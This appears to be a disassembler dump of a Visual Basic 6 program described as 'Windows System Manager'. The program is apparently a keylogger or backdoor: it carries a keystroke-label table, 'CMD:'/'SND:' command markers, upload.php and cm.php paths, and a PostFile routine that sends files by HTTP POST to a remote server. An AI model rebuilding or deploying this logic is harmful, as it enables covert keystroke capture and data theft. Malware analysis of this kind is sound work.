00402ff0 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 s.c.r.i.p.t.i.o.
00403000 6e 00 22 00 00 00 00 00 08 00 00 00 2e 00 6a 00 n."...........j.
00403010 70 00 67 00 00 00 00 00 49 4f ad 33 99 66 cf 11 p.g.....IO.3.f..
00403020 b7 0c 00 aa 00 60 d3 93 81 09 f8 7b 32 bf 1a 10 .....`.....{2...
00403030 8b bb 00 aa 00 30 0c ab e1 4e ad 33 99 66 cf 11 .....0...N.3.f..
00403040 b7 0c 00 aa 00 60 d3 93 00 00 00 00 74 00 00 00 .....`......t...
00403050 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2d 00 C.o.n.t.e.n.t.-.
00403060 44 00 69 00 73 00 70 00 6f 00 73 00 69 00 74 00 D.i.s.p.o.s.i.t.
00403070 69 00 6f 00 6e 00 3a 00 20 00 66 00 6f 00 72 00 i.o.n.:. .f.o.r.
00403080 6d 00 2d 00 64 00 61 00 74 00 61 00 3b 00 20 00 m.-.d.a.t.a.;. .
00403090 6e 00 61 00 6d 00 65 00 3d 00 22 00 74 00 68 00 n.a.m.e.=.".t.h.
004030a0 65 00 66 00 69 00 6c 00 65 00 22 00 3b 00 20 00 e.f.i.l.e.".;. .
004030b0 66 00 69 00 6c 00 65 00 6e 00 61 00 6d 00 65 00 f.i.l.e.n.a.m.e.
004030c0 3d 00 22 00 00 00 00 00 02 00 00 00 22 00 00 00 =."........."...
004030d0 4c 00 00 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 L...C.o.n.t.e.n.
004030e0 74 00 2d 00 54 00 79 00 70 00 65 00 3a 00 20 00 t.-.T.y.p.e.:. .
004030f0 61 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 a.p.p.l.i.c.a.t.
00403100 69 00 6f 00 6e 00 2f 00 6f 00 63 00 74 00 65 00 i.o.n./.o.c.t.e.
00403110 74 00 2d 00 73 00 74 00 72 00 65 00 61 00 6d 00 t.-.s.t.r.e.a.m.
00403120 00 00 00 00 d9 4e ad 33 99 66 cf 11 b7 0c 00 aa .....N.3.f......
00403130 00 60 d3 93 0e 00 00 00 68 00 74 00 74 00 70 00 .`......h.t.t.p.
00403140 3a 00 2f 00 2f 00 00 00 02 00 00 00 2f 00 00 00 :././......./...
00403150 08 00 00 00 2e 00 63 00 66 00 67 00 00 00 00 00 ......c.f.g.....
00403160 08 00 00 00 43 00 4d 00 44 00 3a 00 00 00 00 00 ....C.M.D.:.....
00403170 00 00 00 00 00 00 00 00 06 00 00 00 47 00 45 00 ............G.E.
00403180 54 00 00 00 22 00 00 00 2f 00 63 00 6d 00 2e 00 T...".../.c.m...
00403190 70 00 68 00 70 00 3f 00 66 00 69 00 6c 00 65 00 p.h.p.?.f.i.l.e.
004031a0 3d 00 4e 00 55 00 4c 00 4c 00 00 00 0c 00 00 00 =.N.U.L.L.......
004031b0 26 00 6e 00 61 00 6d 00 65 00 3d 00 00 00 00 00 &.n.a.m.e.=.....
004031c0 08 00 00 00 53 00 4e 00 44 00 3a 00 00 00 00 00 ....S.N.D.:.....
004031d0 16 00 00 00 2f 00 75 00 70 00 6c 00 6f 00 61 00 ..../.u.p.l.o.a.
004031e0 64 00 2e 00 70 00 68 00 70 00 00 00 02 00 00 00 d...p.h.p.......
004031f0 5f 00 00 00 02 00 00 00 5c 00 00 00 12 00 00 00 _.......\.......
00403200 5b 00 20 00 49 00 4e 00 56 00 49 00 4f 00 20 00 [. .I.N.V.I.O. .
00403210 5d 00 00 00 02 00 00 00 30 00 00 00 02 00 00 00 ].......0.......
00403220 31 00 00 00 02 00 00 00 32 00 00 00 02 00 00 00 1.......2.......
00403230 33 00 00 00 02 00 00 00 34 00 00 00 02 00 00 00 3.......4.......
00403240 35 00 00 00 02 00 00 00 36 00 00 00 02 00 00 00 5.......6.......
00403250 37 00 00 00 02 00 00 00 38 00 00 00 02 00 00 00 7.......8.......
00403260 39 00 00 00 02 00 00 00 2a 00 00 00 02 00 00 00 9.......*.......
00403270 2b 00 00 00 02 00 00 00 2d 00 00 00 02 00 00 00 +.......-.......
00403280 2e 00 00 00 02 00 00 00 3d 00 00 00 02 00 00 00 ........=.......
00403290 21 00 00 00 02 00 00 00 a3 00 00 00 02 00 00 00 !...............
004032a0 24 00 00 00 02 00 00 00 25 00 00 00 02 00 00 00 $.......%.......
004032b0 26 00 00 00 02 00 00 00 28 00 00 00 02 00 00 00 &.......(.......
004032c0 29 00 00 00 08 00 00 00 20 00 46 00 31 00 20 00 )....... .F.1. .
004032d0 00 00 00 00 08 00 00 00 20 00 46 00 32 00 20 00 ........ .F.2. .
004032e0 00 00 00 00 08 00 00 00 20 00 46 00 33 00 20 00 ........ .F.3. .
004032f0 00 00 00 00 08 00 00 00 20 00 46 00 34 00 20 00 ........ .F.4. .
00403300 00 00 00 00 08 00 00 00 20 00 46 00 35 00 20 00 ........ .F.5. .
00403310 00 00 00 00 08 00 00 00 20 00 46 00 36 00 20 00 ........ .F.6. .
00403320 00 00 00 00 08 00 00 00 20 00 46 00 37 00 20 00 ........ .F.7. .
00403330 00 00 00 00 08 00 00 00 20 00 46 00 38 00 20 00 ........ .F.8. .
00403340 00 00 00 00 08 00 00 00 20 00 46 00 39 00 20 00 ........ .F.9. .
00403350 00 00 00 00 0a 00 00 00 20 00 46 00 31 00 30 00 ........ .F.1.0.
00403360 20 00 00 00 0a 00 00 00 20 00 46 00 31 00 31 00 ....... .F.1.1.
00403370 20 00 00 00 0a 00 00 00 20 00 46 00 31 00 32 00 ....... .F.1.2.
00403380 20 00 00 00 02 00 00 00 7c 00 00 00 02 00 00 00 .......|.......
00403390 3b 00 00 00 02 00 00 00 2c 00 00 00 02 00 00 00 ;.......,.......
004033a0 3a 00 00 00 02 00 00 00 a7 00 00 00 02 00 00 00 :...............
004033b0 f9 00 00 00 02 00 00 00 e9 00 00 00 02 00 00 00 ................
004033c0 e8 00 00 00 02 00 00 00 b0 00 00 00 02 00 00 00 ................
004033d0 e0 00 00 00 02 00 00 00 3f 00 00 00 02 00 00 00 ........?.......
004033e0 27 00 00 00 02 00 00 00 5e 00 00 00 02 00 00 00 '.......^.......
004033f0 ec 00 00 00 02 00 00 00 e7 00 00 00 02 00 00 00 ................
00403400 f2 00 00 00 14 00 00 00 20 00 5b 00 20 00 43 00 ........ .[. .C.
00403410 41 00 4e 00 43 00 20 00 5d 00 20 00 00 00 00 00 A.N.C. .]. .....
00403420 12 00 00 00 20 00 5b 00 20 00 54 00 41 00 42 00 .... .[. .T.A.B.
00403430 20 00 5d 00 20 00 00 00 12 00 00 00 20 00 5b 00 .]. ....... .[.
00403440 20 00 43 00 54 00 52 00 4c 00 20 00 5d 00 00 00 .C.T.R.L. .]...
00403450 12 00 00 00 20 00 5b 00 20 00 41 00 4c 00 54 00 .... .[. .A.L.T.
00403460 20 00 5d 00 20 00 00 00 16 00 00 00 20 00 5b 00 .]. ....... .[.
00403470 20 00 50 00 41 00 55 00 53 00 45 00 20 00 5d 00 .P.A.U.S.E. .].
00403480 20 00 00 00 14 00 00 00 20 00 5b 00 20 00 43 00 ....... .[. .C.
00403490 41 00 50 00 53 00 20 00 5d 00 20 00 00 00 00 00 A.P.S. .]. .....
004034a0 12 00 00 00 20 00 5b 00 20 00 45 00 53 00 43 00 .... .[. .E.S.C.
004034b0 20 00 5d 00 20 00 00 00 02 00 00 00 20 00 00 00 .]. ....... ...
004034c0 18 00 00 00 20 00 5b 00 20 00 50 00 61 00 67 00 .... .[. .P.a.g.
004034d0 65 00 55 00 70 00 20 00 5d 00 20 00 00 00 00 00 e.U.p. .]. .....
004034e0 1c 00 00 00 20 00 5b 00 20 00 50 00 61 00 67 00 .... .[. .P.a.g.
004034f0 65 00 44 00 6f 00 77 00 6e 00 20 00 5d 00 20 00 e.D.o.w.n. .]. .
00403500 00 00 00 00 00 00 00 00 12 00 00 00 20 00 5b 00 ............ .[.
00403510 20 00 45 00 4e 00 44 00 20 00 5d 00 20 00 00 00 .E.N.D. .]. ...
00403520 14 00 00 00 20 00 5b 00 20 00 48 00 4f 00 4d 00 .... .[. .H.O.M.
00403530 45 00 20 00 5d 00 20 00 00 00 00 00 14 00 00 00 E. .]. .........
00403540 20 00 5b 00 20 00 4c 00 45 00 46 00 54 00 20 00 .[. .L.E.F.T. .
00403550 5d 00 20 00 00 00 00 00 10 00 00 00 20 00 5b 00 ]. ......... .[.
00403560 20 00 55 00 50 00 20 00 5d 00 20 00 00 00 00 00 .U.P. .]. .....
00403570 16 00 00 00 20 00 5b 00 20 00 52 00 49 00 47 00 .... .[. .R.I.G.
00403580 48 00 54 00 20 00 5d 00 20 00 00 00 14 00 00 00 H.T. .]. .......
00403590 20 00 5b 00 20 00 44 00 4f 00 57 00 4e 00 20 00 .[. .D.O.W.N. .
004035a0 5d 00 20 00 00 00 00 00 18 00 00 00 20 00 5b 00 ]. ......... .[.
004035b0 20 00 53 00 45 00 4c 00 45 00 43 00 54 00 20 00 .S.E.L.E.C.T. .
004035c0 5d 00 20 00 00 00 00 00 16 00 00 00 20 00 5b 00 ]. ......... .[.
004035d0 20 00 50 00 52 00 49 00 4e 00 54 00 20 00 5d 00 .P.R.I.N.T. .].
004035e0 20 00 00 00 12 00 00 00 20 00 5b 00 20 00 49 00 ....... .[. .I.
004035f0 4e 00 53 00 20 00 5d 00 20 00 00 00 12 00 00 00 N.S. .]. .......
00403600 20 00 5b 00 20 00 44 00 45 00 4c 00 20 00 5d 00 .[. .D.E.L. .].
00403610 20 00 00 00 14 00 00 00 20 00 5b 00 20 00 48 00 ....... .[. .H.
00403620 45 00 4c 00 50 00 20 00 5d 00 20 00 00 00 00 00 E.L.P. .]. .....
00403630 1a 00 00 00 20 00 5b 00 20 00 57 00 49 00 4e 00 .... .[. .W.I.N.
00403640 44 00 4f 00 57 00 53 00 20 00 5d 00 20 00 00 00 D.O.W.S. .]. ...
00403650 1e 00 00 00 2f 00 63 00 6f 00 70 00 79 00 2e 00 ..../.c.o.p.y...
00403660 70 00 68 00 70 00 3f 00 66 00 69 00 6c 00 65 00 p.h.p.?.f.i.l.e.
00403670 3d 00 00 00 4c 00 00 00 7b 00 35 00 35 00 37 00 =...L...{.5.5.7.
00403680 43 00 46 00 34 00 30 00 31 00 2d 00 31 00 41 00 C.F.4.0.1.-.1.A.
00403690 30 00 34 00 2d 00 31 00 31 00 44 00 33 00 2d 00 0.4.-.1.1.D.3.-.
004036a0 39 00 41 00 37 00 33 00 2d 00 30 00 30 00 30 00 9.A.7.3.-.0.0.0.
004036b0 30 00 46 00 38 00 31 00 45 00 46 00 33 00 32 00 0.F.8.1.E.F.3.2.
004036c0 45 00 7d 00 00 00 00 00 4c 00 00 00 7b 00 31 00 E.}.....L...{.1.
004036d0 44 00 35 00 42 00 45 00 34 00 42 00 35 00 2d 00 D.5.B.E.4.B.5.-.
004036e0 46 00 41 00 34 00 41 00 2d 00 34 00 35 00 32 00 F.A.4.A.-.4.5.2.
004036f0 44 00 2d 00 39 00 43 00 44 00 44 00 2d 00 35 00 D.-.9.C.D.D.-.5.
00403700 44 00 42 00 33 00 35 00 31 00 30 00 35 00 45 00 D.B.3.5.1.0.5.E.
00403710 37 00 45 00 42 00 7d 00 00 00 00 00 56 42 41 36 7.E.B.}.....VBA6
00403720 2e 44 4c 4c 00 00 00 00 5f 5f 76 62 61 49 34 56 .DLL....__vbaI4V
00403730 61 72 00 00 5f 5f 76 62 61 4c 61 74 65 49 64 43 ar..__vbaLateIdC
00403740 61 6c 6c 4c 64 00 00 00 5f 5f 76 62 61 4f 62 6a allLd...__vbaObj
00403750 53 65 74 41 64 64 72 65 66 00 00 00 5f 5f 76 62 SetAddref...__vb
00403760 61 53 74 72 56 61 72 56 61 6c 00 00 5f 5f 76 62 aStrVarVal..__vb
00403770 61 55 49 31 49 32 00 00 aUI1I2..
00403778
00403778 struct TypeLibReference
00403778 lpTypeLibGuid uint32 0x402e8c
0040377c lpCache uint32 0x40a3b8
00403780
00403780 5f 5f 76 62 61 43 61 73 74 4f 62 6a 00 00 00 00 __vbaCastObj....
00403790 5f 5f 76 62 61 45 72 72 6f 72 4f 76 65 72 66 6c __vbaErrorOverfl
004037a0 6f 77 00 00 5f 5f 76 62 61 46 72 65 65 4f 62 6a ow..__vbaFreeObj
004037b0 4c 69 73 74 00 00 00 00 5f 5f 76 62 61 52 38 53 List....__vbaR8S
004037c0 74 72 00 00 5f 5f 76 62 61 53 74 72 52 38 00 00 tr..__vbaStrR8..
004037d0 5f 5f 76 62 61 53 74 72 43 6d 70 00 5f 5f 76 62 __vbaStrCmp.__vb
004037e0 61 53 74 72 49 32 00 00 5f 5f 76 62 61 4f 62 6a aStrI2..__vbaObj
004037f0 53 65 74 00 5f 5f 76 62 61 45 78 69 74 50 72 6f Set.__vbaExitPro
00403800 63 00 00 00 5f 5f 76 62 61 46 69 6c 65 43 6c 6f c...__vbaFileClo
00403810 73 65 41 6c 6c 00 00 00 5f 5f 76 62 61 46 69 6c seAll...__vbaFil
00403820 65 43 6c 6f 73 65 00 00 5f 5f 76 62 61 47 65 74 eClose..__vbaGet
00403830 33 00 00 00 5f 5f 76 62 61 46 69 6c 65 4f 70 65 3...__vbaFileOpe
00403840 6e 00 00 00 5f 5f 76 62 61 56 61 72 43 6f 70 79 n...__vbaVarCopy
00403850 00 00 00 00 5f 5f 76 62 61 56 61 72 43 61 74 00 ....__vbaVarCat.
00403860 5f 5f 76 62 61 4c 73 65 74 46 69 78 73 74 72 00 __vbaLsetFixstr.
00403870 5f 5f 76 62 61 4c 65 6e 42 73 74 72 00 00 00 00 __vbaLenBstr....
00403880 5f 5f 76 62 61 53 74 72 43 61 74 00 5f 5f 76 62 __vbaStrCat.__vb
00403890 61 46 72 65 65 53 74 72 4c 69 73 74 00 00 00 00 aFreeStrList....
004038a0 5f 5f 76 62 61 53 74 72 54 6f 55 6e 69 63 6f 64 __vbaStrToUnicod
004038b0 65 00 00 00 5f 5f 76 62 61 53 65 74 53 79 73 74 e...__vbaSetSyst
004038c0 65 6d 45 72 72 6f 72 00 5f 5f 76 62 61 53 74 72 emError.__vbaStr
004038d0 54 6f 41 6e 73 69 00 00 5f 5f 76 62 61 46 72 65 ToAnsi..__vbaFre
004038e0 65 56 61 72 00 00 00 00 5f 5f 76 62 61 53 74 72 eVar....__vbaStr
004038f0 56 61 72 4d 6f 76 65 00 5f 5f 76 62 61 4f 6e 45 VarMove.__vbaOnE
00403900 72 72 6f 72 00 00 00 00 5f 5f 76 62 61 46 69 78 rror....__vbaFix
00403910 73 74 72 43 6f 6e 73 74 72 75 63 74 00 00 00 00 strConstruct....
00403920 5f 5f 76 62 61 46 72 65 65 56 61 72 4c 69 73 74 __vbaFreeVarList
00403930 00 00 00 00 5f 5f 76 62 61 46 72 65 65 53 74 72 ....__vbaFreeStr
00403940 00 00 00 00 5f 5f 76 62 61 56 61 72 44 75 70 00 ....__vbaVarDup.
00403950 5f 5f 76 62 61 53 74 72 4d 6f 76 65 00 00 00 00 __vbaStrMove....
00403960 5f 5f 76 62 61 53 74 72 43 6f 70 79 00 00 00 00 __vbaStrCopy....
00403970 5f 5f 76 62 61 46 72 65 65 4f 62 6a 00 00 00 00 __vbaFreeObj....
00403980 5f 5f 76 62 61 48 72 65 73 75 6c 74 43 68 65 63 __vbaHresultChec
00403990 6b 4f 62 6a 00 00 00 00 5f 5f 76 62 61 4e 65 77 kObj....__vbaNew
004039a0 32 00 00 00 2...
004039a4
004039a4 struct VBObjectListEntry
004039a4 lpEntry uint32 0x403a18
004039a8
004039a8 54 28 40 00 54 28 40 00 T(@.T(@.
004039b0 60 28 40 00 6c 28 40 00 `(@.l(@.
004039b8 struct VBParamNameEntry[4] ; 0x4039b8-0x4039c8, 3 set, 1 null
004039b8 #0 lpEntry = 0x00403b40 ; "Server"
004039bc #1 lpEntry = 0x00403b48 ; "Script"
004039c0 #2 lpEntry = 0x00403b50 ; "filename"
004039c8
004039c8 00 00 00 00 00 00 00 00 ........
004039d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
004039e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
004039f0
004039f0 struct FuncTypDesc
004039f0 bArgSize uint8 0x10
004039f1 bFlags uint8 0x01 ; HasReturn
004039f2 wVTableOffset uint16 0x06f9
004039f4 iObjectIndex uint16 0xffff
004039f6 wReserved uint16 0x0000
004039f8 lpOptionalDefaults uint32 0x00000000
004039fc wNameIndex uint16 0x0001
004039fe bReturnType uint8 0x03
004039ff bFuncFlags uint8 0x60
00403a00 lpParamNames uint32 0x4039b8
00403a04
00403a04 00 00 00 00 00 00 00 00 00 00 00 00 ............
00403a10 1e 30 30 30 30 00 00 00 .0000...
00403a18
00403a18 struct PrivateObjectDescriptor
00403a18 lpHeapLink uint32 0x00000000
00403a1c lpObjectInfo uint32 0x4020a8
00403a20 dwReserved uint32 0xffffffff
00403a24 dwIdeData uint32 0x00000000
00403a28 wFuncCount int 10
00403a2a wFuncCount2 int 0
00403a2c wVarCount int 4
00403a2e wPad uint16 0x0000
00403a30 lpFuncTypDescs uint32 0x403a58
00403a34 lpExtendedFuncData uint32 0x00000000
00403a38 lpMethodNameTable uint32 0x4039c8
00403a3c lpParamNames uint32 0x4039a4
00403a40 lpVarStubs uint32 0x4039a8
00403a44 dwReserved2 [3]uint32 {0, 0, 0}
00403a50 dwDescSize uint32 0x00000064
00403a54 dwFlags uint32 0x00000004
00403a58 struct VBFuncTypDescEntry[30] ; 0x403a58-0x403ad0, 1 set, 29 null
00403aa8 #20 lpEntry = 0x004039f0
00403ad0
00403ad0 struct ProjectInfo2
00403ad0 lpHeapLink uint32 0x00000000
00403ad4 lpObjectTable uint32 0x402524
00403ad8 dwReserved uint32 0xffffffff
00403adc dwUnused uint32 0x00000000
00403ae0 lpObjectList uint32 0x4039a4
00403ae4 dwUnused2 uint32 0x00000000
00403ae8 szProjectDescription uint32 0x403af8
00403aec szProjectHelpFile uint32 0x00000000
00403af0 dwReserved2 uint32 0xffffffff
00403af4 dwHelpContextId int 0
00403af8
00403af8 string "Windows System Manager",0
00403b0f
00403b0f 00 .
00403b10 cc 27 40 00 64 27 40 00 bc a3 40 00 cc 27 40 00 .'@.d'@...@..'@.
00403b20 f4 27 40 00 c0 a3 40 00 cc 27 40 00 0c 28 40 00 .'@...@..'@..(@.
00403b30 c4 a3 40 00 cc 27 40 00 2c 28 40 00 c8 a3 40 00 ..@..'@.,(@...@.
00403b40
00403b40 string "Server",0
00403b47
00403b47 00 .
00403b48
00403b48 string "Script",0
00403b4f
00403b4f 00 .
00403b50
00403b50 string "filename",0
00403b59
00403b59 00 00 00 cc cc cc cc .......
00403b60 e9 e9 e9 e9 cc cc cc cc cc cc cc cc cc cc cc cc ................

00403d44
00403d44 // align 0x10

00403d50
00403d50frmMain.PostFile:
00403d50push ebp
00403d51mov ebp, esp
00403d53sub esp, 24
00403d56push 0x4014a6
00403d5bmov eax, [0x0]
00403d61push eax
00403d62mov [0x0], esp
00403d69mov eax, 152
00403d6ecall __vbaChkstk
00403d73push ebx
00403d74push esi
00403d75push edi
00403d76mov [ebp-24], esp
00403d79mov [ebp-20], 0x401180
00403d80mov [ebp-16], 0
00403d87mov [ebp-12], 0
00403d8emov eax, [ebp+8]
00403d91mov ecx, [eax]
00403d93mov edx, [ebp+8]
00403d96push edx
00403d97call [ecx+4]
00403d9amov [ebp-4], 1
00403da1mov eax, [ebp+24]
00403da4mov [eax], 0
00403daalea ecx, [ebp-36]
00403dadpush ecx
00403daepush 4096
00403db3call imp:msvbvm60!__vbaFixstrConstruct
00403db9mov [ebp-4], 2
00403dc0push -1
00403dc2call imp:msvbvm60!__vbaOnError
00403dc8mov [ebp-4], 3
00403dcflea edx, [ebp-108]
00403dd2push edx
00403dd3mov eax, [ebp+20]
00403dd6push eax
00403dd7mov ecx, [ebp+8]
00403ddamov edx, [ecx]
00403ddcmov eax, [ebp+8]
00403ddfpush eax
00403de0call [edx+1792]
00403de6lea ecx, [ebp-108]
00403de9push ecx
00403deacall imp:msvbvm60!__vbaStrVarMove
00403df0mov edx, eax
00403df2lea ecx, [ebp-44]
00403df5call imp:msvbvm60!__vbaStrMove
00403dfblea ecx, [ebp-108]
00403dfecall imp:msvbvm60!__vbaFreeVar
00403e04mov [ebp-4], 4
00403e0bmov [ebp-80], 0
00403e12mov [ebp-4], 5
00403e19mov [ebp-52], 0
00403e20mov [ebp-4], 6
00403e27mov [ebp-60], 0
00403e2emov [ebp-4], 7
00403e35push 0
00403e37push 0
00403e39push 0
00403e3bpush 0
00403e3dpush 0x40268c
00403e42lea edx, [ebp-84]
00403e45push edx
00403e46call imp:msvbvm60!__vbaStrToAnsi
00403e4cpush eax
00403e4dcall InternetOpenA
00403e52mov [ebp-164], eax
00403e58call imp:msvbvm60!__vbaSetSystemError
00403e5emov eax, [ebp-164]
00403e64mov [ebp-80], eax
00403e67lea ecx, [ebp-84]
00403e6acall imp:msvbvm60!__vbaFreeStr
00403e70mov [ebp-4], 8
00403e77cmp [ebp-80], 0
00403e7bje 0x404270
00403e81mov [ebp-4], 9
00403e88push 0
00403e8apush 0
00403e8cpush 3
00403e8epush 0x402f00
00403e93lea ecx, [ebp-88]
00403e96push ecx
00403e97call imp:msvbvm60!__vbaStrToAnsi
00403e9dpush eax
00403e9epush 0
00403ea0push 80
00403ea2mov edx, [ebp+12]
00403ea5mov eax, [edx]
00403ea7push eax
00403ea8lea ecx, [ebp-84]
00403eabpush ecx
00403eaccall imp:msvbvm60!__vbaStrToAnsi
00403eb2push eax
00403eb3mov edx, [ebp-80]
00403eb6push edx
00403eb7call InternetConnectA
00403ebcmov [ebp-164], eax
00403ec2call imp:msvbvm60!__vbaSetSystemError
00403ec8mov eax, [ebp-84]
00403ecbpush eax
00403eccmov ecx, [ebp+12]
00403ecfpush ecx
00403ed0call imp:msvbvm60!__vbaStrToUnicode
00403ed6mov edx, [ebp-164]
00403edcmov [ebp-52], edx
00403edflea eax, [ebp-88]
00403ee2push eax
00403ee3lea ecx, [ebp-84]
00403ee6push ecx
00403ee7push 2
00403ee9call imp:msvbvm60!__vbaFreeStrList
00403eefadd esp, 12
00403ef2mov [ebp-4], 10
00403ef9cmp [ebp-52], 0
00403efdje 0x404248
00403f03mov [ebp-4], 11
00403f0apush 0
00403f0cpush 0xffffffff80000000
00403f11push 0
00403f13push 0
00403f15push 0x402f00
00403f1alea edx, [ebp-92]
00403f1dpush edx
00403f1ecall imp:msvbvm60!__vbaStrToAnsi
00403f24push eax
00403f25mov eax, [ebp+16]
00403f28mov ecx, [eax]
00403f2apush ecx
00403f2blea edx, [ebp-88]
00403f2epush edx
00403f2fcall imp:msvbvm60!__vbaStrToAnsi
00403f35push eax
00403f36push 0x402f18
00403f3blea eax, [ebp-84]
00403f3epush eax
00403f3fcall imp:msvbvm60!__vbaStrToAnsi
00403f45push eax
00403f46mov ecx, [ebp-52]
00403f49push ecx
00403f4acall HttpOpenRequestA
00403f4fmov [ebp-164], eax
00403f55call imp:msvbvm60!__vbaSetSystemError
00403f5bmov edx, [ebp-88]
00403f5epush edx
00403f5fmov eax, [ebp+16]
00403f62push eax
00403f63call imp:msvbvm60!__vbaStrToUnicode
00403f69mov ecx, [ebp-164]
00403f6fmov [ebp-60], ecx
00403f72lea edx, [ebp-92]
00403f75push edx
00403f76lea eax, [ebp-88]
00403f79push eax
00403f7alea ecx, [ebp-84]
00403f7dpush ecx
00403f7epush 3
00403f80call imp:msvbvm60!__vbaFreeStrList
00403f86add esp, 16
00403f89mov [ebp-4], 12
00403f90cmp [ebp-60], 0
00403f94je 0x404220
00403f9amov [ebp-4], 13
00403fa1push 0x402f28
00403fa6push 0x402634
00403fabcall imp:msvbvm60!__vbaStrCat
00403fb1mov edx, eax
00403fb3lea ecx, [ebp-84]
00403fb6call imp:msvbvm60!__vbaStrMove
00403fbcpush eax
00403fbdpush 0x402f88
00403fc2call imp:msvbvm60!__vbaStrCat
00403fc8mov edx, eax
00403fcalea ecx, [ebp-76]
00403fcdcall imp:msvbvm60!__vbaStrMove
00403fd3lea ecx, [ebp-84]
00403fd6call imp:msvbvm60!__vbaFreeStr
00403fdcmov [ebp-4], 14
00403fe3mov edx, [ebp-44]
00403fe6push edx
00403fe7call imp:msvbvm60!__vbaLenBstr
00403fedmov [ebp-40], eax
00403ff0mov [ebp-4], 15
00403ff7mov eax, [ebp-40]
00403ffapush eax
00403ffbmov ecx, [ebp-44]
00403ffepush ecx
00403ffflea edx, [ebp-88]
00404002push edx
00404003call imp:msvbvm60!__vbaStrToAnsi
00404009push eax
0040400amov eax, [ebp-76]
0040400dpush eax
0040400ecall imp:msvbvm60!__vbaLenBstr
00404014push eax
00404015mov ecx, [ebp-76]
00404018push ecx
00404019lea edx, [ebp-84]
0040401cpush edx
0040401dcall imp:msvbvm60!__vbaStrToAnsi
00404023push eax
00404024mov eax, [ebp-60]
00404027push eax
00404028call HttpSendRequestA
0040402dmov [ebp-160], ax
00404034call imp:msvbvm60!__vbaSetSystemError
0040403amov ecx, [ebp-84]
0040403dpush ecx
0040403elea edx, [ebp-76]
00404041push edx
00404042call imp:msvbvm60!__vbaStrToUnicode
00404048mov eax, [ebp-88]
0040404bpush eax
0040404clea ecx, [ebp-44]
0040404fpush ecx
00404050call imp:msvbvm60!__vbaStrToUnicode
00404056mov dx, [ebp-160]
0040405dmov [ebp-68], dx
00404061lea eax, [ebp-88]
00404064push eax
00404065lea ecx, [ebp-84]
00404068push ecx
00404069push 2
0040406bcall imp:msvbvm60!__vbaFreeStrList
00404071add esp, 12
00404074mov [ebp-4], 16
0040407bmov [ebp-72], -1
00404081
00404081loc_404081:
00404081mov [ebp-4], 17
00404088movsx edx, [ebp-72]
0040408ctest edx, edx
0040408eje 0x4041e5
00404094mov [ebp-4], 18
0040409bpush 0
0040409dmov eax, [ebp-36]
004040a0push eax
004040a1push 0
004040a3call imp:msvbvm60!__vbaLsetFixstr
004040a9mov [ebp-4], 19
004040b0lea ecx, [ebp-64]
004040b3push ecx
004040b4mov edx, [ebp-36]
004040b7push edx
004040b8call imp:msvbvm60!__vbaLenBstr
004040bepush eax
004040bfmov eax, [ebp-36]
004040c2push eax
004040c3lea ecx, [ebp-84]
004040c6push ecx
004040c7call imp:msvbvm60!__vbaStrToAnsi
004040cdpush eax
004040cemov edx, [ebp-60]
004040d1push edx
004040d2call InternetReadFile
004040d7mov [ebp-160], ax
004040decall imp:msvbvm60!__vbaSetSystemError
004040e4mov eax, [ebp-84]
004040e7push eax
004040e8lea ecx, [ebp-88]
004040ebpush ecx
004040eccall imp:msvbvm60!__vbaStrToUnicode
004040f2push eax
004040f3mov edx, [ebp-36]
004040f6push edx
004040f7push 0
004040f9call imp:msvbvm60!__vbaLsetFixstr
004040ffxor eax, eax
00404101cmp [ebp-160], 0
00404109setne al
0040410cneg eax
0040410emov [ebp-72], ax
00404112lea ecx, [ebp-88]
00404115push ecx
00404116lea edx, [ebp-84]
00404119push edx
0040411apush 2
0040411ccall imp:msvbvm60!__vbaFreeStrList
00404122add esp, 12
00404125mov [ebp-4], 20
0040412cmov eax, [ebp-56]
0040412fmov [ebp-148], eax
00404135mov [ebp-156], 8
0040413fmov edx, [ebp-36]
00404142lea ecx, [ebp-84]
00404145call imp:msvbvm60!__vbaStrCopy
0040414blea ecx, [ebp-84]
0040414emov [ebp-132], ecx
00404154mov [ebp-140], 16392
0040415emov edx, [ebp-64]
00404161push edx
00404162lea eax, [ebp-140]
00404168push eax
00404169lea ecx, [ebp-108]
0040416cpush ecx
0040416dcall imp:msvbvm60!rtcLeftCharVar
00404173mov edx, [ebp-84]
00404176push edx
00404177mov eax, [ebp-36]
0040417apush eax
0040417bpush 0
0040417dcall imp:msvbvm60!__vbaLsetFixstr
00404183lea ecx, [ebp-156]
00404189push ecx
0040418alea edx, [ebp-108]
0040418dpush edx
0040418elea eax, [ebp-124]
00404191push eax
00404192call imp:msvbvm60!__vbaVarCat
00404198push eax
00404199call imp:msvbvm60!__vbaStrVarMove
0040419fmov edx, eax
004041a1lea ecx, [ebp-56]
004041a4call imp:msvbvm60!__vbaStrMove
004041aalea ecx, [ebp-84]
004041adcall imp:msvbvm60!__vbaFreeStr
004041b3lea ecx, [ebp-124]
004041b6push ecx
004041b7lea edx, [ebp-108]
004041bapush edx
004041bbpush 2
004041bdcall imp:msvbvm60!__vbaFreeVarList
004041c3add esp, 12
004041c6mov [ebp-4], 21
004041cdcmp [ebp-64], 0
004041d1jne 0x4041e0
004041d3mov [ebp-4], 22
004041damov [ebp-72], 0
004041e0
004041e0loc_4041e0:
004041e0jmp 0x404081
004041e5
004041e5loc_4041e5:
004041e5mov [ebp-4], 25
004041ecmov edx, [ebp-56]
004041eflea ecx, [ebp-48]
004041f2call imp:msvbvm60!__vbaStrCopy
004041f8mov [ebp-4], 26
004041ffmov eax, [ebp-60]
00404202push eax
00404203call InternetCloseHandle
00404208mov [ebp-160], ax
0040420fcall imp:msvbvm60!__vbaSetSystemError
00404215mov cx, [ebp-160]
0040421cmov [ebp-68], cx
00404220
00404220loc_404220:
00404220mov [ebp-4], 28
00404227mov edx, [ebp-52]
0040422apush edx
0040422bcall InternetCloseHandle
00404230mov [ebp-160], ax
00404237call imp:msvbvm60!__vbaSetSystemError
0040423dmov ax, [ebp-160]
00404244mov [ebp-68], ax
00404248
00404248loc_404248:
00404248mov [ebp-4], 30
0040424fmov ecx, [ebp-80]
00404252push ecx
00404253call InternetCloseHandle
00404258mov [ebp-160], ax
0040425fcall imp:msvbvm60!__vbaSetSystemError
00404265mov dx, [ebp-160]
0040426cmov [ebp-68], dx
00404270
00404270loc_404270:
00404270push 0x4042da
